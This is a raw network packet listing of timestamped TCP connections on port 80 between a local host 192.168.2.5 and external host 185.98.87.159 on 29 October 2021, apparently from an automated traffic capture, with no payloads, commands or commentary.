Oct 29, 2021 20:10:11.895904064 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.896691084 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.896711111 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.947978973 CEST	80	49757	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:11.975368977 CEST	80	49757	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:11.975521088 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.015337944 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.046334028 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.066912889 CEST	80	49757	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.099858046 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.099967003 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.100107908 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.200994015 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234684944 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234714985 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234725952 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234739065 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234756947 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234769106 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234790087 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234811068 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234834909 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234858036 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.234857082 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.234884977 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.234915972 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.288600922 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288625956 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288640976 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288657904 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288686991 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.288727999 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.288932085 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288949013 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288964033 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288980007 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.288995028 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289011002 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.289011002 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289027929 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289043903 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289061069 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289076090 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289083004 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.289127111 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.289140940 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289158106 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289186001 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289201021 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289251089 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289258957 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.289267063 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.289308071 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342422009 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342449903 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342462063 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342474937 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342641115 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342654943 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342708111 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342730045 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342753887 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342763901 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342802048 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342812061 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342842102 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342859030 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342890978 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.342905998 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342958927 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.342988968 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343005896 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343022108 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343036890 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343058109 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343111992 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343118906 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343128920 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343151093 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343170881 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343199015 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343259096 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343528032 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343544960 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343569994 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343586922 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343647957 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343663931 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343678951 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343694925 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343710899 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343724966 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343754053 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343758106 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343775034 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343803883 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343839884 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.343847990 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343863964 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.343914986 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.356336117 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356364965 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356379032 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356390953 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356487036 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.356498003 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356514931 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.356595039 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396080971 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396106958 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396122932 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396138906 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396155119 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396188021 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396188974 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396203995 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396219969 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396254063 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396286011 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396363020 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396379948 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396394014 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396410942 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396430969 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396461964 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396480083 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396495104 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396496058 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396509886 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396567106 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396584034 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396624088 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396657944 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396675110 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396698952 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396706104 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396722078 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396749020 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396749020 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396764994 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396781921 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396785975 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396797895 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396814108 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396832943 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396840096 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396863937 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.396879911 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.396918058 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397397041 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397413969 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397429943 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397445917 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397481918 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397484064 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397512913 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397533894 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397537947 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397555113 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397569895 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397572994 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397587061 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397629976 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397660017 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397681952 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397697926 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397717953 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.397739887 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.397795916 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.410130978 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410152912 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410170078 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410186052 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410201073 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410217047 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.410232067 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.410263062 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.449706078 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449737072 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449748993 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449763060 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449775934 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449794054 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449810028 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449826956 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449842930 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449858904 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449875116 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449889898 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449906111 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449922085 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449937105 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.449948072 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450045109 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450063944 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450078964 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450094938 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450125933 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450159073 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450212002 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450237036 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450253010 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450268984 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450277090 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450284958 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450299978 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450310946 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450315952 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450333118 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450347900 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.450361013 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.450395107 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451041937 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451066017 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451082945 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451102972 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451132059 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451147079 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451164007 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451179028 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451195002 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451324940 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451340914 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451358080 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451373100 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451374054 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451390028 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451401949 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451406002 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451421976 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451438904 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451455116 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.451455116 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451486111 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.451519012 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.462939978 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.463644028 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.463668108 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.463685036 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.463700056 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.463735104 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.463798046 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.478233099 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.478266001 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.478282928 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.478326082 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.503575087 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503613949 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503627062 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503644943 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503658056 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503676891 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.503756046 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.503829956 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.504472017 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.504499912 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.504517078 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.504576921 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.516805887 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516832113 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516860962 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516876936 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516910076 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516927004 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516942978 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516942978 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.516958952 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516976118 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.516990900 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517007113 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517023087 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517038107 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517054081 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517069101 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517113924 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.517190933 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.517219067 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517235041 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517250061 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517266035 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517281055 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517297029 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517302036 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.517313004 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517328024 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517343998 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517371893 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.517379999 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517460108 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.517476082 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.517563105 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.518018961 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518037081 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518054962 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518071890 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518086910 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518102884 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518120050 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518135071 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518151045 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518151999 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.518167019 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518181086 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518284082 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.518549919 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518575907 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.518624067 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.531774998 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531800032 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531816006 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531831980 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531847000 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531848907 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.531869888 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.531939030 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532058001 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532074928 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532092094 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532107115 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532114983 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532162905 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532165051 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532181978 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532197952 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532212973 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532228947 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532236099 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532246113 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532262087 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532277107 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532279968 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532294989 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532310963 CEST	80	49758	185.98.87.159	192.168.2.5
